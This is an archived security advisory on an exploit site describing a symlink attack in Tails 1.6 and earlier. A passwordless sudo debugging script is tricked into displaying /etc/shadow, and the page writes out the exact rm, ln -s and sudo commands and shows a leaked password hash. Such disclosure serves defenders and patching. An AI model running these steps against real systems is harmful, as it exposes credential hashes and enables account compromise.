exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Tails 1.6 Information Disclosure

Tails 1.6 Information Disclosure
Posted Nov 13, 2015
Authored by cenobyte

Tails versions 1.6 and below suffers from an information leak vulnerability via a symlink attack.

tags | exploit, info disclosure
SHA-256 | 4bc182b9191120b13aafd944de470614c5ad8a118056b97853287258da456e0f

Tails 1.6 Information Disclosure

Change Mirror Download
      Tails <= 1.6 tails-debugging-info information leak by cenobyte 2015
<vincitamorpatriae@gmail.com>

On Tails <= 1.6 it is possible to show the contents of /etc/shadow within the
context of the amnesia user when a password is set for that user.

The amnesia user can execute tails-debugging-info as root without a password
using sudo (/etc/sudoers.d/zzz_tails-debugging-info):
amnesia ALL = NOPASSWD: /usr/local/sbin/tails-debugging-info ""

Note: Other commands executed as root using sudo which are not listed in the
sudoers files require a password.

There's a function in tails-debugging-info named debug_file() which serves as a
wrapper around cat:
debug_file() {
echo
echo "===== content of $1 ====="
cat "$1"
}

debug_file() is called in tails-debugging-info with the following parameter:
debug_file "/home/amnesia/.xsession-errors"

The .xsession-errors file is owned by the amnesia user and can be deleted and
replaced with a symlink to /etc/shadow:
amnesia@amnesia:~$ rm ~/.xsession-errors
amnesia@amnesia:~$ ln -s /etc/shadow ~/.xsession-errors

Running sudo tails-debugging-info now displays the password hash of the amnesia
user:
amnesia@amnesia:~$ sudo tails-debugging-info 2>/dev/null | grep ^amnesia
amnesia:$6$r0jt1v9E$UOrWbJ70qAH/sjaKfjmCMvkXZ19bqC2ieQ2UvYk0HKwVvgxuZFtyIwjoLfgH
AwrZVM3a0NTEkcsQY1hn/Uq2S0:16710:0:99999:7:::
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close